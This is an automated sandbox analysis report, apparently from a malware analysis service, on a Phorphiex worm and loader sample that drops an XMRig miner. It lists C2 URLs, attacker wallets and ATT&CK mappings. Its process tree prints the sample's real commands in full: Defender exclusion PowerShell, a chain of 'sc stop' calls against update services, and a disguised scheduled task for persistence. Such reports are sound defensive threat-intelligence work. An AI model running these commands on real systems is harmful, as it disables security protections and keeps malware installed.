phorphiex | a32ef391573926562422a7dd7547429114258f4c6e530caa0a578d78d6c76058

Analysis

max time kernel
119s
max time network
119s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
06/08/2024, 19:02

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General

Target

dab687d0562daae2c789f4ee10c3d440N.exe
Size

113KB
MD5

dab687d0562daae2c789f4ee10c3d440
SHA1

5171bb133961d258fa38c4a48481cbc0e5960d2e
SHA256

a32ef391573926562422a7dd7547429114258f4c6e530caa0a578d78d6c76058
SHA512

22319aaca532123e17a48053b3bd416c66d6b333c82e5dab407e4719a42c3b6ad6293186bbdc7b470d83cae3fe1a3bff8ccb53617183d56f8ab6e5e5589ae6ad
SSDEEP

3072:OVS1/eI4pnTfEFYJE3nwzPdCNU/efHYTo+:OEHGnTcFYOXwJigT

Score

10^/10

phorphiex xmrig discovery evasion execution loader miner persistence trojan worm

Malware Config

Extracted

Family

phorphiex

http://185.215.113.66/

http://91.202.233.141/

Wallets

0xCa90599132C4D88907Bd8E046540284aa468a035

TRuGGXNDM1cavQ1AqMQHG8yfxP4QWVSMN6

qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r

XryzFMFVpDUvU7famUGf214EXD3xNUSmQf

LLeT2zkStY3cvxMBFhoWXkG5VuZPoezduv

rwc4LVd9ABpULQ1CuCpDkgX2xVB1fUijyb

4AtjkCVKbtEC3UEN77SQHuH9i1XkzNiRi5VCbA2XGsJh46nJSXfGQn4GjLuupCqmC57Lo7LvKmFUyRfhtJSvKvuw3h9ReKK

15TssKwtjMtwy4vDLcLsQUZUD2B9f7eDjw85sBNVC5LRPPnC

17hgMFyLDwMjxWqw5GhijhnPdJDyFDqecY

ltc1qt0n3f0t7vz9k0mvcswk477shrxwjhf9sj5ykrp

3PMiLynrGVZ8oEqvoqC4hXD67B1WoALR4pc

3FerB8kUraAVGCVCNkgv57zTBjUGjAUkU3

DLUzwvyxN1RrwjByUPPzVMdfxNRPGVRMMA

t1J6GCPCiHW1eRdjJgDDu6b1vSVmL5U7Twh

stars125f3mw4xd9htpsq4zj5w5ezm5gags37yxxh6mj

bnb1epx67ne4vckqmaj4gwke8m322f4yjr6eh52wqw

bc1qmpkehfffkr6phuklsksnd7nhgx0369sxu772m3

bitcoincash:qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r

GBQJMXYXPRIWFMXIFJR35ZB7LRKMB4PHCIUAUFR3TKUL6RDBZVLZEUJ3

Attributes

mutex
x88767657x
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

Signatures

Modifies security service 2 TTPs 1 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Start = "4"	sysmysldrv.exe

Phorphiex payload 1 IoCs

resource	yara_rule
behavioral1/files/0x0007000000019623-9.dat	family_phorphiex

Phorphiex, Phorpiex
Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
worm trojan loader phorphiex

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

description	pid	Process	procid_target
PID 1908 created 1332	1908	3661211608.exe	21
PID 1908 created 1332	1908	3661211608.exe	21
PID 3064 created 1332	3064	wupgrdsv.exe	21
PID 3064 created 1332	3064	wupgrdsv.exe	21

Windows security bypass 2 TTPs 6 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysmysldrv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysmysldrv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysmysldrv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysmysldrv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysmysldrv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysmysldrv.exe

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 7 IoCs

miner

resource	yara_rule
behavioral1/memory/3064-80-0x000000013F560000-0x000000013FAD6000-memory.dmp	xmrig
behavioral1/memory/1912-82-0x0000000140000000-0x00000001407EF000-memory.dmp	xmrig
behavioral1/memory/1912-84-0x0000000140000000-0x00000001407EF000-memory.dmp	xmrig
behavioral1/memory/1912-85-0x0000000140000000-0x00000001407EF000-memory.dmp	xmrig
behavioral1/memory/1912-86-0x0000000140000000-0x00000001407EF000-memory.dmp	xmrig
behavioral1/memory/1912-87-0x0000000140000000-0x00000001407EF000-memory.dmp	xmrig
behavioral1/memory/1912-88-0x0000000140000000-0x00000001407EF000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1460	powershell.exe
1804	powershell.exe
820	powershell.exe

Downloads MZ/PE file
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 8 IoCs

pid	Process
2752	27DB.exe
2704	524014455.exe
1016	sysmysldrv.exe
972	2203717602.exe
2224	168559084.exe
1864	1527215441.exe
1908	3661211608.exe
3064	wupgrdsv.exe

Loads dropped DLL 8 IoCs

pid	Process
2752	27DB.exe
2752	27DB.exe
1016	sysmysldrv.exe
1016	sysmysldrv.exe
1016	sysmysldrv.exe
1016	sysmysldrv.exe
1864	1527215441.exe
1928	taskeng.exe

Windows security modification 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysmysldrv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysmysldrv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysmysldrv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysmysldrv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysmysldrv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysmysldrv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysmysldrv.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysmysldrv.exe"	524014455.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3064 set thread context of 1912	3064	wupgrdsv.exe	62

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\sysmysldrv.exe	524014455.exe
File opened for modification	C:\Windows\sysmysldrv.exe	524014455.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2296	sc.exe
1260	sc.exe
1720	sc.exe
1180	sc.exe
1424	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 13 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	524014455.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1527215441.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysmysldrv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	27DB.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2203717602.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2016	schtasks.exe
2332	schtasks.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1460	powershell.exe
1908	3661211608.exe
1908	3661211608.exe
1804	powershell.exe
1908	3661211608.exe
1908	3661211608.exe
3064	wupgrdsv.exe
3064	wupgrdsv.exe
820	powershell.exe
3064	wupgrdsv.exe
3064	wupgrdsv.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1460	powershell.exe
Token: SeDebugPrivilege	1804	powershell.exe
Token: SeDebugPrivilege	820	powershell.exe
Token: SeLockMemoryPrivilege	1912	notepad.exe
Token: SeLockMemoryPrivilege	1912	notepad.exe

Suspicious use of FindShellTrayWindow 60 IoCs

pid	Process
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe

Suspicious use of SendNotifyMessage 60 IoCs

pid	Process
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe
1912	notepad.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2788 wrote to memory of 2752	2788	dab687d0562daae2c789f4ee10c3d440N.exe	32
PID 2788 wrote to memory of 2752	2788	dab687d0562daae2c789f4ee10c3d440N.exe	32
PID 2788 wrote to memory of 2752	2788	dab687d0562daae2c789f4ee10c3d440N.exe	32
PID 2788 wrote to memory of 2752	2788	dab687d0562daae2c789f4ee10c3d440N.exe	32
PID 2752 wrote to memory of 2704	2752	27DB.exe	33
PID 2752 wrote to memory of 2704	2752	27DB.exe	33
PID 2752 wrote to memory of 2704	2752	27DB.exe	33
PID 2752 wrote to memory of 2704	2752	27DB.exe	33
PID 2704 wrote to memory of 1016	2704	524014455.exe	35
PID 2704 wrote to memory of 1016	2704	524014455.exe	35
PID 2704 wrote to memory of 1016	2704	524014455.exe	35
PID 2704 wrote to memory of 1016	2704	524014455.exe	35
PID 1016 wrote to memory of 2544	1016	sysmysldrv.exe	36
PID 1016 wrote to memory of 2544	1016	sysmysldrv.exe	36
PID 1016 wrote to memory of 2544	1016	sysmysldrv.exe	36
PID 1016 wrote to memory of 2544	1016	sysmysldrv.exe	36
PID 1016 wrote to memory of 1644	1016	sysmysldrv.exe	37
PID 1016 wrote to memory of 1644	1016	sysmysldrv.exe	37
PID 1016 wrote to memory of 1644	1016	sysmysldrv.exe	37
PID 1016 wrote to memory of 1644	1016	sysmysldrv.exe	37
PID 2544 wrote to memory of 1460	2544	cmd.exe	40
PID 2544 wrote to memory of 1460	2544	cmd.exe	40
PID 2544 wrote to memory of 1460	2544	cmd.exe	40
PID 2544 wrote to memory of 1460	2544	cmd.exe	40
PID 1644 wrote to memory of 2296	1644	cmd.exe	41
PID 1644 wrote to memory of 2296	1644	cmd.exe	41
PID 1644 wrote to memory of 2296	1644	cmd.exe	41
PID 1644 wrote to memory of 2296	1644	cmd.exe	41
PID 1644 wrote to memory of 1260	1644	cmd.exe	42
PID 1644 wrote to memory of 1260	1644	cmd.exe	42
PID 1644 wrote to memory of 1260	1644	cmd.exe	42
PID 1644 wrote to memory of 1260	1644	cmd.exe	42
PID 1644 wrote to memory of 1720	1644	cmd.exe	43
PID 1644 wrote to memory of 1720	1644	cmd.exe	43
PID 1644 wrote to memory of 1720	1644	cmd.exe	43
PID 1644 wrote to memory of 1720	1644	cmd.exe	43
PID 1644 wrote to memory of 1180	1644	cmd.exe	44
PID 1644 wrote to memory of 1180	1644	cmd.exe	44
PID 1644 wrote to memory of 1180	1644	cmd.exe	44
PID 1644 wrote to memory of 1180	1644	cmd.exe	44
PID 1644 wrote to memory of 1424	1644	cmd.exe	45
PID 1644 wrote to memory of 1424	1644	cmd.exe	45
PID 1644 wrote to memory of 1424	1644	cmd.exe	45
PID 1644 wrote to memory of 1424	1644	cmd.exe	45
PID 1016 wrote to memory of 972	1016	sysmysldrv.exe	47
PID 1016 wrote to memory of 972	1016	sysmysldrv.exe	47
PID 1016 wrote to memory of 972	1016	sysmysldrv.exe	47
PID 1016 wrote to memory of 972	1016	sysmysldrv.exe	47
PID 1016 wrote to memory of 2224	1016	sysmysldrv.exe	48
PID 1016 wrote to memory of 2224	1016	sysmysldrv.exe	48
PID 1016 wrote to memory of 2224	1016	sysmysldrv.exe	48
PID 1016 wrote to memory of 2224	1016	sysmysldrv.exe	48
PID 1016 wrote to memory of 1864	1016	sysmysldrv.exe	49
PID 1016 wrote to memory of 1864	1016	sysmysldrv.exe	49
PID 1016 wrote to memory of 1864	1016	sysmysldrv.exe	49
PID 1016 wrote to memory of 1864	1016	sysmysldrv.exe	49
PID 1864 wrote to memory of 1908	1864	1527215441.exe	51
PID 1864 wrote to memory of 1908	1864	1527215441.exe	51
PID 1864 wrote to memory of 1908	1864	1527215441.exe	51
PID 1864 wrote to memory of 1908	1864	1527215441.exe	51
PID 1804 wrote to memory of 2016	1804	powershell.exe	54
PID 1804 wrote to memory of 2016	1804	powershell.exe	54
PID 1804 wrote to memory of 2016	1804	powershell.exe	54
PID 1928 wrote to memory of 3064	1928	taskeng.exe	58

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1332
- C:\Users\Admin\AppData\Local\Temp\dab687d0562daae2c789f4ee10c3d440N.exe
  "C:\Users\Admin\AppData\Local\Temp\dab687d0562daae2c789f4ee10c3d440N.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2788
- - C:\Users\Admin\AppData\Local\Temp\27DB.exe
    "C:\Users\Admin\AppData\Local\Temp\27DB.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2752
  - - C:\Users\Admin\AppData\Local\Temp\524014455.exe
      C:\Users\Admin\AppData\Local\Temp\524014455.exe
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2704
    - - C:\Windows\sysmysldrv.exe
        
        C:\Windows\sysmysldrv.exe
        5⤵
        Modifies security service
        Windows security bypass
        Executes dropped EXE
        Loads dropped DLL
        Windows security modification
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1016
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2544
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1460
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1644
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        7⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2296
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        7⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1260
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        7⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1720
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        7⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1180
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS
        7⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1424
      - C:\Users\Admin\AppData\Local\Temp\2203717602.exe
        
        C:\Users\Admin\AppData\Local\Temp\2203717602.exe
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:972
      - C:\Users\Admin\AppData\Local\Temp\168559084.exe
        
        C:\Users\Admin\AppData\Local\Temp\168559084.exe
        6⤵
        Executes dropped EXE
        
        PID:2224
      - C:\Users\Admin\AppData\Local\Temp\1527215441.exe
        
        C:\Users\Admin\AppData\Local\Temp\1527215441.exe
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1864
        
        C:\Users\Admin\AppData\Local\Temp\3661211608.exe
        
        C:\Users\Admin\AppData\Local\Temp\3661211608.exe
        7⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:1908
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#llzqlmcx#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Windows Upgrade Manager' /tr '''C:\Users\Admin\Windows Upgrade\wupgrdsv.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Windows Upgrade Manager' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1804
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn "Windows Upgrade Manager" /tr "'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe'"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2016
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "Windows Upgrade Manager"
  2⤵
  PID:2460
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#llzqlmcx#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Windows Upgrade Manager' /tr '''C:\Users\Admin\Windows Upgrade\wupgrdsv.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Windows Upgrade Manager' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:820
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn "Windows Upgrade Manager" /tr "'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe'"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2332
- C:\Windows\System32\notepad.exe
  C:\Windows\System32\notepad.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:1912

C:\Windows\system32\taskeng.exe
taskeng.exe {12D7B0B8-6C57-428D-A309-9306DE80C771} S-1-5-21-2958949473-3205530200-1453100116-1000:WHMFPZKA\Admin:Interactive:[1]
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1928
- C:\Users\Admin\Windows Upgrade\wupgrdsv.exe
  "C:\Users\Admin\Windows Upgrade\wupgrdsv.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  PID:3064

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\27DB.exe

Filesize
9KB

MD5
8d8e6c7952a9dc7c0c73911c4dbc5518

SHA1
9098da03b33b2c822065b49d5220359c275d5e94

SHA256
feb4c3ae4566f0acbb9e0f55417b61fefd89dc50a4e684df780813fb01d61278

SHA512
91a573843c28dd32a9f31a60ba977f9a3d4bb19ffd1b7254333e09bcecef348c1b3220a348ebb2cb08edb57d56cb7737f026519da52199c9dc62c10aea236645

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RDXTAYPWFPAB7Z9EYDEL.temp

Filesize
7KB

MD5
2dea7b65b273466adaa467a7752ebc52

SHA1
7e85020b2e522e6b326791a36d23fc7d0ce7606c

SHA256
aaf4ed281a776572751495e30ab3283cdad32379f5571d4e635082ac983b60b6

SHA512
7bde7ea406a795a95db74ac964645428b8b34a01ae3ea8f81254d29029d7afc99bca2af0d8e0e597c943f510ee255d9a9a42a48e20824135e1577de66ae05f73

Download Submit
\Users\Admin\AppData\Local\Temp\1527215441.exe

Filesize
10KB

MD5
4fe8dc617311f7b6a4b8ebe0b1e24090

SHA1
2bd9341f17c8c0c62e56e1863b1d2f9c43cb30e5

SHA256
5016e413b0c563efc920165e7235c9f2706808877668bd297b41435acc7aade4

SHA512
910a12fbaffd45b0f797a95c6678a32c4a27adbb7d1474f183f8863d310d31fbba17d5d747da87ac4a30dd7cb22c67a4d1c25b302ef0c3f6954d91a459c692db

Download Submit
\Users\Admin\AppData\Local\Temp\2203717602.exe

Filesize
7KB

MD5
af0622340ed8ba48efa92e0b2d9aca7b

SHA1
77e7181b4d4e6957cf13ba37f590cf219aac88cb

SHA256
7b7d433c6c204ed3bcd1ea74106592edfa1a30b6ef7bbc3ed21efcbadc51e526

SHA512
e1368c1c292789115b51cae549bd2d484dbc614eb3e57aa5fce324385d28e9fbddf60064b4c88237b38cded294d090d07c491b646651c45bcd6235630d94ef46

Download Submit
\Users\Admin\AppData\Local\Temp\3661211608.exe

Filesize
5.4MB

MD5
41ab08c1955fce44bfd0c76a64d1945a

SHA1
2b9cb05f4de5d98c541d15175d7f0199cbdd0eea

SHA256
dd12cb27b3867341bf6ca48715756500d3ec56c19b21bb1c1290806aa74cb493

SHA512
38834ae703a8541b4fec9a1db94cfe296ead58649bb1d4873b517df14d0c6a9d25e49ff04c2bf6bb0188845116a4e894aae930d849f9be8c98d2ce51da1ef116

Download Submit
\Users\Admin\AppData\Local\Temp\524014455.exe

Filesize
92KB

MD5
be9388b42333b3d4e163b0ace699897b

SHA1
4e1109772eb9cb59c557380822166fe1664403bd

SHA256
d281e0a0f1e1073f2d290a7eb1f77bed4c210dbf83a0f4f4e22073f50faa843f

SHA512
5f887f1060b898c9a88745cde7cf509fdf42947ab8e5948b46c2df659468dc245b24d089bdbec0b314c40b83934698bf4b6feb8954e32810ff8f522aab0af19a

Download Submit
memory/820-77-0x00000000026B0000-0x00000000026B8000-memory.dmp

Filesize
32KB

Download
memory/820-76-0x000000001B550000-0x000000001B832000-memory.dmp

Filesize
2.9MB

Download
memory/1804-63-0x000000001B530000-0x000000001B812000-memory.dmp

Filesize
2.9MB

Download
memory/1804-64-0x0000000001EC0000-0x0000000001EC8000-memory.dmp

Filesize
32KB

Download
memory/1908-67-0x000000013FD80000-0x00000001402F6000-memory.dmp

Filesize
5.5MB

Download
memory/1912-81-0x00000000002D0000-0x00000000002F0000-memory.dmp

Filesize
128KB

Download
memory/1912-82-0x0000000140000000-0x00000001407EF000-memory.dmp

Filesize
7.9MB

Download
memory/1912-84-0x0000000140000000-0x00000001407EF000-memory.dmp

Filesize
7.9MB

Download
